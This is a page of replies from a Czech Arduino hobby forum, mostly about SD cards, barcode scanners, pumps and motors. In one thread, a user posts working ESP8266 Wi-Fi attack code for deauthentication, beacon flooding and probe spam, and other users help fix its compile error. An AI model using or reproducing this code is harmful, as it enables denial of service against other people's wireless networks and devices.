Close

Otin

Vytvořené odpovědi

Aktuálně je na stránce zobrazeno 30 příspěvků - 301. až 330. (celkem z 2,760)
  • Autor
    Příspěvky
  • odpověď na: Čtečka čárového kódu #11336
    Mikky01
    Účastník

    Díky za reakce.
    posjirka – vypadá to, že by to mohlo fungovat. Mrknu na to. Díky za nápad.
    petan – Něco podobného bych potřeboval, jen se obávám (jen neznalost), že popsaná funkce RS232 klávesnice bude pomalá. Čtečka by měla sloužit pro výrobní linku kde se balí jednotlivé kusy a díky jedinečnému kódu ty kusy počítat. Jde to udělat i jednoduše pomocí nějakého optického senzoru, ale může se stát, že linka kus špatně zabalí a ten se pošle znovu. např.: mám 1000Ks – projedou linkou – 25ks je špatně zabaleno – pošlou se znovu – počítadlo zapíše 1025Ks – potřebuji mít na výstupu 1000Ks. Proto tohle řešení se čtečkou kódu.

    odpověď na: Spínání čerpadla dle teploty vody #11335
    posjirka
    Účastník

    když jsi takto na začátku, má cenu se do toho vlastně pouštět?
    Spíš bych ti doporučil něco takového:
    http://arduino-shop.cz/arduino/1238-digitalni-termostat-20-az-100-1458426591.html?gclid=Cj0KEQjwoqvIBRD6ls6og8qB77YBEiQAcqqHe8JphLULFxKeGgzYVm5Jui00vr55PfCujYs4q25b1BMaAoon8P8HAQ

    Ono naprogramovat se dá cokoliv, ale aby to spolehlivě fungovalo, tak je nutné znát možnosti a omezení. Pkud tam pojedeš jednou týdně, je nutné oštřit třeba zásek procesoru ať už pomocí WATCHDOG nebo nějáké nouzové automatiky.
    To rozhodně není na 1 den.
    Poku se tomu chceš věnovat, nastuduj si jak funguje elektrotechnika, prostuduj možnosti, rozvrhni funkce a jsi na správné cestě.

    Rozhodně tu nejsme pro zakázkové řešení pro veřejnost. Rádi ti tu pomůžeme, ale asi tu nenajdeš blázna co by to vyřešil všechno za tebe-…

    odpověď na: Spínání čerpadla dle teploty vody #11334
    yeti
    Účastník

    Děkuju za odpověď. Ano, mám v plánu začít s minimalizovanou verzí, nicméně nemám moc čas se vydávat slepými uličkami. Proto bych rád, kdyby mi někdo poradil konkrétní HW komponenty, které budu potřebovat.
    Např. nenašel jsem v e-shopu žádné relé. Musím koupit jinde, nebo se dívám špatně? Nebo dále regulace teploty vody – potřebuji nastavit teplotu při které se čerpadlo zapne a při které se vypne. Tyto teploty já dopředu neznám, takže by bylo dobré mít možnost tyto teploty jednoduše naladit dle situace. Tzn. buď nějaké dva potenciometry, nebo jeden potenciometr a tlačítko, kterým by se přepla funkce potenciometru na druhou teplotu. Hrát se s tím dá asi do aleluja, ale já bych potřeboval aby to fungovalo. Bude to na místě, kam se dostanu jednou týdně a nemám čas každý týden o víkendu zjišťovat, že budu potřebovat ještě to a tamto…
    Programování snad nebude problém, problém je koupit součástky, které potřebuji. V HW se moc nepohybuji a než bych všechno nastudoval, tak máme podzim…

    díky.

    Miroslava
    Účastník

    Ok vyriešila som to tak, že vždy keď nechcem používať motory použijem príkaz:
    digitalWrite(EN, HIGH); //Low to enable
    Vtedy sú motory voľné a opäť ak ich chcem používať stačí zmeniť pin EN na LOW 🙂

    odpověď na: Spínání čerpadla dle teploty vody #11329
    posjirka
    Účastník

    budes potrebovat arduino cidlo teploty a nejaky rele modul.
    u tech cerpadel pozor na rozbehovy proud. aby to zvladl jak zdroj tak rele. ja takove cerpadlo mel a bral si 3A coz v DC neni malo.
    programovani neni problem. dej tomu tyden casu a uvidis. v kazdem pripada je nutne mit konkretni predstavu co to ma delat a aspon v zacatku orezat vse na minimum. hodne komentovat, byt peclivy a hledat….

    Miroslava
    Účastník

    + sú to dva krokové motory NEMA17, napájam ich z 12V 1,5A adaptéra.. nikdy nebežia súčasne

    odpověď na: Grove elektromagnet – moc slabí #11324
    Miroslava
    Účastník

    Ahojte, pomohlo mi externé napájanie – ide ako má 🙂

    odpověď na: Čtečka čárového kódu #11321
    petan
    Účastník

    Tady něco je: https://www.youtube.com/watch?v=t5gkg645xGE Zdá se, že to funguje.

    Jen pro zajímavost. K čemu by to mělo sloužit? Pokud to není tajný?

    odpověď na: Čtečka čárového kódu #11320
    petan
    Účastník

    Dělají se čtečky čárových kódu s RS232. Pak jednoduše vytvořit pole, ve kterém budou uložené načtené kódy. Kus projde čidlem, uloží se kód do mezipaměťi, porovná se z databází. Pokud už existuje nepřidá se, jinak ano. Připočte se kus a jede se dál. Rozhodně by to bylo zajímavé na velikost paměti a rychlost porovnání – ideálně nějaký optimalizace…třídění apod.). Asi bych se to nesnažil nacpat do nějakýho mrňavýho Arduina ve stylu Nano apod.

    Problém akorát s tou čtečkou, protože s RS232 jsou dražší. Většinou fungují jako klávesnice. Načtený kód se jakoby napíše na klávesnici. Ale myslím, že jsem někde zahlídl jak připojit klávesnici k Arduinu. Takže by to bylo v podstatě stejný. Akorát by se místo portu obsluhovala nějaká knihovna na komunikaci s kliávesnicí.

    odpověď na: Čtečka čárového kódu #11319
    posjirka
    Účastník

    obavam se že by to chtělo spíš raspbbery pi.
    skener na čárový kod sice jde koupit i ve verzi pro arduino, ale levnější a standradní bude přes USB rozhraní, což Arduino moc nepodporuje. resp. podporuje sebe jako usb host nikoliv jako master. Na to jsou speciální shieldy, no ve výsledku tě to vyjde dráž než základní raspberry pi. Akorát to programování v pythonu 🙂
    Do toho jsem ještě nepronikl.

    když se dívám na strýčka googla tak ej tam toho mraky. omlouvám se, nebudu to procházet, jen jsem si pustil první video a tam byla čtečka za pomocí webkamery.
    mrkni na googla a uvidíš. Dej kdyžat vědět jak jsi dopadl:

    https://www.google.cz/search?q=raspberry+pi+barcode+scanner&ie=utf-8&oe=utf-8&client=firefox-b&gfe_rd=cr&ei=nukIWcbwGcbR8gfh2azoDA

    odpověď na: Nodemcu Arduino IDE #11312
    Zbyšek Voda
    Účastník

    Je to nějaké podivné. Když jsem program znovu zkompiloval, tak vyžaduje signaturu
    int wifi_send_pkt_freedom(uint8 *buf, int len,bool sys_seq) (stejná je i v dokumentaci).

    Tedy buf má být opravdu jenom jednoduché pole. Tak jste to asi i na začátku měl, ale házelo to ten podivný error.
    Nakonec se mi povedlo přes chybu dostat zápisem
    if (wifi_send_pkt_freedom(packet, packetSize, 0) == -1) {
    tak jste to ale asi na začátku měl, tak nevím.

    Btw. v kódu chybí funkce setup a loop, což se překladači taky nebude líbit.

    Takto mi to hlásí jen chyby neexistující loop a setup funkce. https://codepaste.net/us7qgo.

    odpověď na: Nodemcu Arduino IDE #11311
    Zbyšek Voda
    Účastník

    Tak zkuste ještě wifi_send_pkt_freedom((uint8_t**)&packet, packetSize, 0)

    odpověď na: Nodemcu Arduino IDE #11310
    nonosh
    Účastník

    Tady popř. celý projekt … https://github.com/spacehuhn/esp8266_deauther

    odpověď na: Nodemcu Arduino IDE #11309
    nonosh
    Účastník

    Po přidání &amp dostavám : cannot convert ‚uint8_t (*)[128] {aka unsigned char (*)[128]}‘ to ‚uint8** {aka unsigned char**}‘ for argument ‚1‘ to ‚int wifi_send_pkt_freedom(uint8**, int, bool)‘
    Upřímně tomu nějak nerozumím a jsem z toho nemocný … přikládám kód :
    #include „Attack.h“

    Attack::Attack() {
    randomSeed(os_random());
    }

    void Attack::generate() {
    if (debug) Serial.print(„\n generating MACs…“);

    Mac _randomBeaconMac;
    uint8_t _randomMacBuffer[6];
    beaconAdrs._clear();

    for (int i = 0; i < macListLen; i++) channels[i] = random(1, maxChannel);
    do {
    getRandomVendorMac(_randomMacBuffer);
    for (int i = 0; i < 6; i++) _randomBeaconMac.setAt(_randomMacBuffer[i], i);
    } while (beaconAdrs.add(_randomBeaconMac) >= 0);
    if (debug) Serial.println(„done“);
    }

    void Attack::buildDeauth(Mac _ap, Mac _client, uint8_t type, uint8_t reason) {
    packetSize = 0;
    for (int i = 0; i < sizeof(deauthPacket); i++) {
    packet[i] = deauthPacket[i];
    packetSize++;
    }

    for (int i = 0; i < 6; i++) {
    //set target (client)
    packet[4 + i] = _client._get(i);
    //set source (AP)
    packet[10 + i] = packet[16 + i] = _ap._get(i);
    }

    //set type
    packet[0] = type;
    packet[24] = reason;
    }

    void Attack::buildBeacon(Mac _ap, String _ssid, int _ch, bool encrypt) {
    packetSize = 0;
    int ssidLen = _ssid.length();
    if (ssidLen > 32) ssidLen = 32;

    for (int i = 0; i < sizeof(beaconPacket_header); i++) {
    packet[i] = beaconPacket_header[i];
    packetSize++;
    }

    for (int i = 0; i < 6; i++) {
    //set source (AP)
    packet[10 + i] = packet[16 + i] = _ap._get(i);
    }

    packet[packetSize] = 0x00;
    packetSize++;
    packet[packetSize] = ssidLen;
    packetSize++;

    for (int i = 0; i < ssidLen; i++) {
    packet[packetSize] = _ssid[i];
    packetSize++;
    }

    for (int i = 0; i < sizeof(beaconPacket_end); i++) {
    packet[packetSize] = beaconPacket_end[i];
    packetSize++;
    }

    packet[packetSize] = _ch;
    packetSize++;

    if (encrypt) {
    for (int i = 0; i < sizeof(beaconWPA2tag); i++) {
    packet[packetSize] = beaconWPA2tag[i];
    packetSize++;
    }
    }

    }

    void Attack::buildProbe(String _ssid, Mac _mac) {
    int len = _ssid.length();
    if (len > 32) len = 32;
    packetSize = 0;

    for (int i = 0; i < sizeof(probePacket); i++) packet[packetSize + i] = probePacket[i];
    packetSize += sizeof(probePacket);

    for (int i = 0; i < 6; i++) packet[10 + i] = _mac._get(i);

    packet[packetSize] = len;
    packetSize++;

    for (int i = 0; i < len; i++) packet[packetSize + i] = _ssid[i];
    packetSize += len;

    }

    bool Attack::send() {
    if (wifi_send_pkt_freedom(&packet, packetSize, 0) == -1) {
    /*
    if(debug){
    Serial.print(packetSize);
    Serial.print(“ : „);
    PrintHex8(packet, packetSize);
    Serial.println(„“);
    }
    */
    return false;
    }
    delay(1); //less packets are beeing dropped
    return true;
    }

    void Attack::sendDeauths(Mac from, Mac to){
    for(int i=0;i<settings.attackPacketRate;i++){
    buildDeauth(from, to, 0xc0, settings.deauthReason );
    if(send()) packetsCounter[0]++;
    buildDeauth(from, to, 0xa0, settings.deauthReason );
    send();
    buildDeauth(to, from, 0xc0, settings.deauthReason );
    send();
    buildDeauth(to, from, 0xa0, settings.deauthReason );
    send();
    delay(5);
    }
    }

    void Attack::run() {
    unsigned long currentMillis = millis();

    /* =============== Deauth Attack =============== */
    if (isRunning[0] && currentMillis – prevTime[0] >= 1000) {
    if (debug) Serial.print(„running “ + (String)attackNames[0] + “ attack…“);
    prevTime[0] = millis();

    for (int a = 0; a < apScan.results; a++) {
    if (apScan.isSelected(a)) {
    Mac _ap;
    int _ch = apScan.getAPChannel(a);
    _ap.setMac(apScan.aps._get(a));

    wifi_set_channel(_ch);

    int _selectedClients = 0;

    for (int i = 0; i < clientScan.results; i++) {
    if (clientScan.getClientSelected(i)) {
    _selectedClients++;
    /*if (settings.channelHop) {
    for (int j = 1; j < maxChannel; j++) {
    wifi_set_channel(j);

    buildDeauth(_ap, clientScan.getClientMac(i), 0xc0, settings.deauthReason );
    if (send()) packetsCounter[0]++;

    buildDeauth(_ap, clientScan.getClientMac(i), 0xa0, settings.deauthReason );
    if (send()) packetsCounter[0]++;
    }
    } else {*/
    sendDeauths(_ap, clientScan.getClientMac(i));
    //}
    }
    }

    if (_selectedClients == 0) {
    Mac _client;
    _client.set(0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF);
    sendDeauths(_ap, _client);
    }

    }
    }

    stati[0] = (String)packetsCounter[0] + „pkts/s“;
    packetsCounter[0] = 0;
    if (debug) Serial.println(“ done“);
    if (settings.attackTimeout > 0) {
    attackTimeoutCounter[0]++;
    if (attackTimeoutCounter[0] > settings.attackTimeout) stop(0);
    }
    }

    /* =============== Beacon list Attack =============== */
    if (isRunning[1] && currentMillis – prevTime[1] >= 100) {
    if (debug) Serial.print(„running “ + (String)attackNames[1] + “ attack…“);
    prevTime[1] = millis();

    for (int a = 0; a < ssidList.len; a++) {
    String _ssid = ssidList.get(a);
    int _ch = channels[a];

    buildBeacon(beaconAdrs._get(a), _ssid, _ch, settings.attackEncrypted);

    if (send()) packetsCounter[1]++;
    }

    stati[1] = (String)(packetsCounter[1] * 10) + „pkts/s“;
    packetsCounter[1] = 0;
    macListChangeCounter++;
    if (macListChangeCounter / 10 >= macChangeInterval && macChangeInterval > 0) {
    generate();
    macListChangeCounter = 0;
    }
    if (debug) Serial.println(“ done“);
    if (settings.attackTimeout > 0) {
    attackTimeoutCounter[1]++;
    if (attackTimeoutCounter[1] / 10 > settings.attackTimeout) stop(1);
    }
    }

    /* =============== Probe Request Attack =============== */
    if (isRunning[2] && currentMillis – prevTime[2] >= 1000) {
    if (debug) Serial.print(„running “ + (String)attackNames[2] + “ attack…“);
    prevTime[2] = millis();

    for (int a = 0; a < ssidList.len; a++) {
    buildProbe(ssidList.get(a), beaconAdrs._get(a));
    if (send()) packetsCounter[2]++;
    }

    stati[2] = (String)(packetsCounter[2] * 10) + „pkts/s“;
    packetsCounter[2] = 0;
    macListChangeCounter++;
    if (macListChangeCounter >= macChangeInterval && macChangeInterval > 0) {
    generate();
    macListChangeCounter = 0;
    }
    if (debug) Serial.println(„done“);
    if (settings.attackTimeout > 0) {
    attackTimeoutCounter[2]++;
    if (attackTimeoutCounter[2] > settings.attackTimeout) stop(2);
    }
    }

    }

    void Attack::start(int num) {
    Serial.println(num);
    if(!isRunning[num]) {
    Serial.println(num);
    isRunning[num] = true;
    stati[num] = „starting“;
    prevTime[num] = millis();_log(num);
    attackTimeoutCounter[num] = 0;
    refreshLed();
    if (debug) Serial.println(„starting “ + (String)attackNames[num] + “ attack…“);
    if (num == 0) attackMode = „STOP“;
    for (int i = 0; i < attacksNum; i++){
    if(i != num) stop(i);
    }
    }else stop(num);
    }

    void Attack::stop(int num) {
    if (isRunning[num]) {
    if (debug) Serial.println(„stopping “ + (String)attackNames[num] + “ attack…“);
    if (num == 0) attackMode = „START“;
    isRunning[num] = false;
    stati[num] = „ready“;
    prevTime[num] = millis();
    refreshLed();
    }
    }

    void Attack::stopAll() {
    for (int i = 0; i < attacksNum; i++) stop(i);
    }

    void Attack::_log(int num){
    openLog();
    addLog((String)attackNames[num]);
    for(int a=0;a<apScan.results;a++){
    if(apScan.isSelected(a)){
    Mac _ap;
    _ap.setMac(apScan.aps._get(a));
    addLog(_ap.toString());
    }
    }
    addLog(„-„);
    for(int i=0;i<clientScan.results; i++) {
    if(clientScan.getClientSelected(i)) {
    addLog(clientScan.getClientMac(i).toString());
    }
    }
    closeLog();
    }

    size_t Attack::getSize(){
    size_t jsonSize = 0;

    String json = „{\“aps\“:[„;

    int _selected = 0;
    for (int i = 0; i < apScan.results; i++) {
    if (apScan.isSelected(i)) {
    json += „\““ + apScan.getAPName(i) + „\“,“;
    _selected++;
    }
    }
    if (_selected > 0) json.remove(json.length() – 1);

    jsonSize += json.length();

    json = „],\“clients\“:[„;

    _selected = 0;
    for (int i = 0; i < clientScan.results; i++) {
    if (clientScan.getClientSelected(i)) {
    json += „\““ + clientScan.getClientMac(i).toString() + “ “ + clientScan.getClientVendor(i) + “ – “ + clientScan.getClientName(i) + „\“,“;
    _selected++;
    }
    }
    if (_selected == 0) json += „\“FF:FF:FF:FF:FF:FF – BROADCAST\““;
    else json.remove(json.length() – 1);

    jsonSize += json.length();

    json = „],\“attacks\“:[„;
    for (int i = 0; i < attacksNum; i++) {
    json += „{„;
    json += „\“name\“:\““ + attackNames[i] + „\“,“;
    json += „\“status\“:\““ + stati[i] + „\“,“;
    json += „\“running\“:“ + (String)isRunning[i] + „“;
    json += „}“;
    if (i != attacksNum – 1) json += „,“;
    }
    json += „],“;
    jsonSize += json.length();

    json = „\“ssid\“:[„;
    jsonSize += json.length();
    for (int i = 0; i < ssidList.len; i++) {
    json = „\““ + ssidList.get(i) + „\““;
    if (i != ssidList.len – 1) json += „,“;
    jsonSize += json.length();
    }

    json = „]}“;
    jsonSize += json.length();

    return jsonSize;
    }

    void Attack::sendResults(){
    size_t _size = getSize();
    if (debug) Serial.print(„getting attacks JSON („+(String)_size+“)…“);
    sendHeader(200, „text/json“, _size);

    String json = „{\“aps\“:[„;

    int _selected = 0;
    for (int i = 0; i < apScan.results; i++) {
    if (apScan.isSelected(i)) {
    json += „\““ + apScan.getAPName(i) + „\“,“;
    _selected++;
    }
    }
    if (_selected > 0) json.remove(json.length() – 1);
    sendToBuffer(json);

    json = „],\“clients\“:[„;

    _selected = 0;
    for (int i = 0; i < clientScan.results; i++) {
    if (clientScan.getClientSelected(i)) {
    json += „\““ + clientScan.getClientMac(i).toString() + “ “ + clientScan.getClientVendor(i) + “ – “ + clientScan.getClientName(i) + „\“,“;
    _selected++;
    }
    }
    if (_selected == 0) json += „\“FF:FF:FF:FF:FF:FF – BROADCAST\““;
    else json.remove(json.length() – 1);

    sendToBuffer(json);

    json = „],\“attacks\“:[„;
    for (int i = 0; i < attacksNum; i++) {
    json += „{„;
    json += „\“name\“:\““ + attackNames[i] + „\“,“;
    json += „\“status\“:\““ + stati[i] + „\“,“;
    json += „\“running\“:“ + (String)isRunning[i] + „“;
    json += „}“;
    if (i != attacksNum – 1) json += „,“;
    }
    json += „],\“ssid\“:[„;
    sendToBuffer(json);

    for (int i = 0; i < ssidList.len; i++) {
    json = „\““ + ssidList.get(i) + „\““;
    if (i != ssidList.len – 1) json += „,“;
    sendToBuffer(json);
    }
    json = „]}“;
    sendToBuffer(json);

    sendBuffer();
    if (debug) Serial.println(„done“);
    }

    void Attack::refreshLed() {
    int numberRunning = 0;
    for (int i = 0; i < sizeof(isRunning); i++) {
    if (isRunning[i]) numberRunning++;
    //if(debug) Serial.println(numberRunning);
    }
    if (numberRunning >= 1 && settings.useLed) {
    if (debug) Serial.println(„Attack LED : ON“);
    digitalWrite(2, LOW);
    }
    else if (numberRunning == 0 || !settings.useLed) {
    if (debug) Serial.println(„Attack LED : OFF“);
    digitalWrite(2, HIGH);
    }
    }

    odpověď na: Nodemcu Arduino IDE #11303
    Zbyšek Voda
    Účastník

    Používáte funkci int wifi_send_pkt_freedom(uint8**, int, bool);
    Tato funkce má první parametr ukazatel na ukazatel na uint8. Popřípadě se dá také interpretovat jako pole ukazatelů na hodnoty typu uint8, nebo ukazatel na pole (což asi je případ, který potřebujete).

    Vy ale této funkci předáváte jenom pole, ale ne ukazatel na pole.
    Řekněme, že máte něco jako:

    byte data[] = {1, 2, 3, 4, ...};
    wifi_send_pkt_freedom(data, x, y);

    Místo data zkuste zapsat &data, tedy:
    wifi_send_pkt_freedom(&data, x, y);

    Znak ampersand (&) značí, že chcete získat adresu dané proměnné. Ukazatele jsou vlastně adresy.

    Většinou stačí přeložit hlášku:
    cannot convert ‘uint8_t* {aka unsigned char*}’ to ‘uint8** {aka unsigned char**}’ for argument ‘1’ to ‘int wifi_send_pkt_freedom(uint8**, int, bool)’
    můžete číst jako
    Nejde převést uint8_t* na uint8** v prvním argumentu funkce wifi_send_pkt_freedom(uint8**, int, bool)

    uint8_t* = ukazatel na typ uint8_t / pole uint8
    uint8_t** = ukazatel na ukazatel na uint8_t / pole ukazatelů na uint8_t / ukazatel na pole uint8_t

    Pokud to nepůjde, pošlete sem kód 🙂

    odpověď na: Formát SD Card #11301
    Axamith
    Účastník

    Díky, testnu to. Ale myslím, že problém bude s modulem. Zkoušel jsem jak na UNO, tak na Wemos a Pro mini a vždy se stejným výsledkem. Originální příklady k SD modulu. takže objednám nový modul a uvidíme.

    odpověď na: Posuvný registr 74HC595 pomoc #11297
    posjirka
    Účastník

    ona je opravdu otázka jak to je zapojeno …. ať tady nehoníte duchy 🙂
    ps. omezil bych ty 2 pole za 1 hodnotu BYTE se smyčkou FOR pro naplnění log.1/0

    odpověď na: Formát SD Card #11296
    RomanB
    Účastník

    Ještě vyzkoušej test pinů 10-13 jestli jsou OK. Viz https://bastlirna.hwkitchen.cz/i-zaklady-2-bliknuti-led/ s tím, že ti bude stačit ta jedna LEDka a ty ji jenom přepojíš na další piny. A pin 12 bych ještě otestoval jako vstup. Pokud bude vše OK, tak to vypadá na mrtvou čtečku.

    /*
    Blikání
    LED na sekundu zasvítí a pak zase na sekundu zhasne. Opakovaně.
    */

    // Pin 13 je na většině Arduino deskách spojen s LED
    int led1 = 10;
    int led2 = 11;
    int led3 = 12;
    int led4 = 13;

    void setup() {
    // nastavení pinu na Output
    pinMode(led1, OUTPUT);
    pinMode(led2, OUTPUT);
    pinMode(led3, OUTPUT);
    pinMode(led4, OUTPUT);
    }

    // opakujici se smyčka
    void loop() {
    digitalWrite(led1, HIGH); //zapnutí led
    digitalWrite(led2, HIGH);
    digitalWrite(led3, HIGH);
    digitalWrite(led4, HIGH);

    delay(1000); // po dobu jedné sekundy

    digitalWrite(led1, LOW); // vypnuti LED
    digitalWrite(led2, LOW);
    digitalWrite(led3, LOW);
    digitalWrite(led4, LOW);

    delay(1000); // po dobu jedné sekundy
    }

    odpověď na: aktualizování firmwaru přes uart #11295
    Vojtěch Vosáhlo
    Účastník

    Zdravím, kouknu na to zas co nejdřív, akorát mám teď hodně práce. Jen aby jste věděl že jsem nezapoměl ?

    odpověď na: Formát SD Card #11293
    Axamith
    Účastník

    Abych minimalizoval problémy s různým pochopením HW a SW, omezil jsem testování na UNO a originální příklady ke knihovně. UNO, napájené přes USB, SD modul připojen na GND a 5V,
    CS – PIN 10
    MOSI – PIN 11
    MISO – PIN 12
    SCK – PIN 13

    Kartu 4 GB jsem naformátoval pomocí SD Card Formatter, nastavení :
    Format type – Full (OverWrite) // i když by stačilo QUICK
    Format size adjustment – OFF

    Sketch dle příkladu z knihovky SD – CardInfo:

    /*
    SD card test

    This example shows how use the utility libraries on which the‘
    SD library is based in order to get info about your SD card.
    Very useful for testing a card when you’re not sure whether its working or not.

    The circuit:
    * SD card attached to SPI bus as follows:
    ** MOSI – pin 11 on Arduino Uno/Duemilanove/Diecimila
    ** MISO – pin 12 on Arduino Uno/Duemilanove/Diecimila
    ** CLK – pin 13 on Arduino Uno/Duemilanove/Diecimila
    ** CS – depends on your SD card shield or module.
    Pin 4 used here for consistency with other Arduino examples

    created 28 Mar 2011
    by Limor Fried
    modified 9 Apr 2012
    by Tom Igoe
    */
    // include the SD library:
    #include <SPI.h>
    #include <SD.h>

    // set up variables using the SD utility library functions:
    Sd2Card card;
    SdVolume volume;
    SdFile root;

    // change this to match your SD shield or module;
    // Arduino Ethernet shield: pin 4
    // Adafruit SD shields and modules: pin 10
    // Sparkfun SD shield: pin 8
    // MKRZero SD: SDCARD_SS_PIN
    const int chipSelect = 10;

    void setup() {
    // Open serial communications and wait for port to open:
    Serial.begin(9600);
    while (!Serial) {
    ; // wait for serial port to connect. Needed for native USB port only
    }

    Serial.print(„\nInitializing SD card…“);

    // we’ll use the initialization code from the utility libraries
    // since we’re just testing if the card is working!
    if (!card.init(SPI_HALF_SPEED, chipSelect)) {
    Serial.println(„initialization failed. Things to check:“);
    Serial.println(„* is a card inserted?“);
    Serial.println(„* is your wiring correct?“);
    Serial.println(„* did you change the chipSelect pin to match your shield or module?“);
    return;
    } else {
    Serial.println(„Wiring is correct and a card is present.“);
    }

    // print the type of card
    Serial.print(„\nCard type: „);
    switch (card.type()) {
    case SD_CARD_TYPE_SD1:
    Serial.println(„SD1“);
    break;
    case SD_CARD_TYPE_SD2:
    Serial.println(„SD2“);
    break;
    case SD_CARD_TYPE_SDHC:
    Serial.println(„SDHC“);
    break;
    default:
    Serial.println(„Unknown“);
    }

    // Now we will try to open the ‚volume’/’partition‘ – it should be FAT16 or FAT32
    if (!volume.init(card)) {
    Serial.println(„Could not find FAT16/FAT32 partition.\nMake sure you’ve formatted the card“);
    return;
    }

    // print the type and size of the first FAT-type volume
    uint32_t volumesize;
    Serial.print(„\nVolume type is FAT“);
    Serial.println(volume.fatType(), DEC);
    Serial.println();

    volumesize = volume.blocksPerCluster(); // clusters are collections of blocks
    volumesize *= volume.clusterCount(); // we’ll have a lot of clusters
    volumesize *= 512; // SD card blocks are always 512 bytes
    Serial.print(„Volume size (bytes): „);
    Serial.println(volumesize);
    Serial.print(„Volume size (Kbytes): „);
    volumesize /= 1024;
    Serial.println(volumesize);
    Serial.print(„Volume size (Mbytes): „);
    volumesize /= 1024;
    Serial.println(volumesize);

    Serial.println(„\nFiles found on the card (name, date and size in bytes): „);
    root.openRoot(volume);

    // list all files in the card with date and size
    root.ls(LS_R | LS_DATE | LS_SIZE);
    }

    void loop(void) {

    }

    a výsledek:
    Initializing SD card…initialization failed. Things to check:
    * is a card inserted?
    * is your wiring correct?
    * did you change the chipSelect pin to match your shield or module?

    Pro klid duše jsem dal i nové propojovací kabely, vyzkoušel SS piny č. 4, 8, 10 (i když u UNA je jasné, že 4 a 8 je blbost), opět bez výsledku. Taková kravina jako SD karta a co já na tom strávil času … a bez výsledku.

    odpověď na: Formát SD Card #11286
    RomanB
    Účastník

    Já vlastním Ethernet s SD a tam je použit pin 4. U tebe samozřejmě je možnost volby zapíchnutím drátku. Vyzkoušej také skeč z Arduina IDE, je tam v příkladěch pod SD. Je to vlastně to stejné jako ty zde cituješ, ale akorát je to počeštěno. Jediné co je špatně je:

    // nastavte správně
    // Arduino Ethernet shield: pin 4 – náš případ
    // Adafruit SD shields and modules: pin 10
    // Sparkfun SD shield: pin 8
    const int chipSelect = SS;

    Má být const int chipSelect = 4; nebo jiný tebou použitý pin.

    Zároveň zachovej a definuj tento pin v setupu
    Serial.print(“\nInicializace SD karty…”);
    pinMode(4, OUTPUT);

    A jaké používáš napětí? 5V nebo 3,3V

    odpověď na: Formát SD Card #11285
    Axamith
    Účastník

    Ahoj, mám čtečku Micro SD.

    Použil jsem krom jiných tuto sketch:

    // created 28 Mar 2011
    // by Limor Fried
    // modified 9 Apr 2012
    // by Tom Igoe
    // modifed 23.3.2013
    // by Pavel Putna

    #include <SD.h>

    // nastaví proměné pro info karty
    Sd2Card card;
    SdVolume volume;
    SdFile root;

    // nastavte správně
    // Arduino Ethernet shield: pin 4 – náš případ
    // Adafruit SD shields and modules: pin 10
    // Sparkfun SD shield: pin 8
    const int chipSelect = SS;

    void setup()
    {
    Serial.begin(9600);

    Serial.print(„\nInicializace SD karty…“);
    pinMode(4, OUTPUT);

    // inicializace
    if (!card.init(SPI_HALF_SPEED, chipSelect)) {
    Serial.println(„\nPametova karta nebyla detekovana“);
    return;
    } else {
    Serial.println(„\nPametova karta nalezena.“);
    }

    // Určí typ karty
    Serial.print(„\nTyp karty: „);
    switch(card.type()) {
    case SD_CARD_TYPE_SD1:
    Serial.println(„SD1“);
    break;
    case SD_CARD_TYPE_SD2:
    Serial.println(„SD2“);
    break;
    case SD_CARD_TYPE_SDHC:
    Serial.println(„SDHC“);
    break;
    default:
    Serial.println(„Neznama“);
    }

    // Now we will try to open the ‚volume’/’partition‘ – it should be FAT16 or FAT32
    if (!volume.init(card)) {
    Serial.println(„System souboru FAT16/FAT32 nenalezen.\nZkuste naformatovat kartu“);
    return;
    }

    // print the type and size of the first FAT-type volume
    uint32_t volumesize;
    Serial.print(„\nVolume type is FAT“);
    Serial.println(volume.fatType(), DEC);
    Serial.println();

    volumesize = volume.blocksPerCluster(); // clusters are collections of blocks
    volumesize *= volume.clusterCount(); // we’ll have a lot of clusters
    volumesize *= 512; // SD card blocks are always 512 bytes
    Serial.print(„Volume size (bytes): „);
    Serial.println(volumesize);
    Serial.print(„Volume size (Kbytes): „);
    volumesize /= 1024;
    Serial.println(volumesize);
    Serial.print(„Volume size (Mbytes): „);
    volumesize /= 1024;
    Serial.println(volumesize);

    Serial.println(„\nNalezene soubory na karte (nazev, datum a velikost v bajtech): „);
    root.openRoot(volume);

    // list all files in the card with date and size
    root.ls(LS_R | LS_DATE | LS_SIZE);
    }

    void loop(void) {
    }

    Čtečku jsem zkoušel jak na Pro mini, tak na UNO a Wemos D1. Vím, že je třeba definovat vstup na Arduinu pinu. Volba 4, 8, 10 (dle Arduina). NIC nejede, ani volba SS. Nebo spíš ji detekuje, nenajde FAT a veškeré pokusy s kartou z příkladů z knihoven nejedou, respektive s kartou nekomunikují. Koupil jsem i novou kartu, pro klid duše, pořád bez výsledků. Buď kartu nedetekuje, nebo ji detekuje a nerozpozná FAT16/32

    odpověď na: Formát SD Card #11279
    RomanB
    Účastník

    Také zdravím, jakou máš desku se čtečkou a použil jsi jenom program pro komunikaci s SD kartou?

    odpověď na: Grove elektromagnet – moc slabí #11263
    posjirka
    Účastník

    presne tak … z arduina se bere pouze maly proud pro sepnuti magnetu. podle popisu ma unest 1kg coz neni malo. jsi si jisty ze to co jsi chtel zvednout je zelezo a ne nejaka hlinikova slitina?

    odpověď na: aktualizování firmwaru přes uart #11262
    michal123
    Účastník

    DObrý večer,
    nejspíš jsem nepochopil tu 1s pauzu.
    Kód funguje pro blink ale už ne pro blink na jiných pinech. Když jsem se na komunikaci kouknul osciloskopem tak jsem zjistil, že arduino když nahrává tak 20,5ms čeká, pošle řídící kód, pak 16ms čeká a pak nahraje stránku a tak to opakuje. (ještě to pak všechno zpětně ověří)
    Ale když se podívám na naše data tak, rídících kódů je tam zdáse víc (nevím co arduino neposílá nebo kde nečeká protože z toho nevyluštím konkrétní hodnoty.(případně pošlu nějaké obrázky), časem snad postavím další (arduino) pro paraelní čtení komunikace.

    odpověď na: GPS SKM53 #11261
    petouf
    Účastník

    Tak zase o krůček 🙂
    Nedošlo mi (ale kolegovi naštěstí ano) že COM na PC používá drobet jiné úrovně, než Arduino. Asi bude potřeba převodník RS232-TTL Ten budu mít příští týden, tak dám vědět 🙂

    odpověď na: EBook – nelze stáhnout #11260
    Zbyšek Voda
    Účastník

    Na úvodní stránce je formulář, kam dáte email a přijde vám kniha.

    odpověď na: EBook – nelze stáhnout #11259
    chevy.us
    Účastník

    Zdravím.
    Prosím jak se dostanu k odkazu na stažení e-knihy?
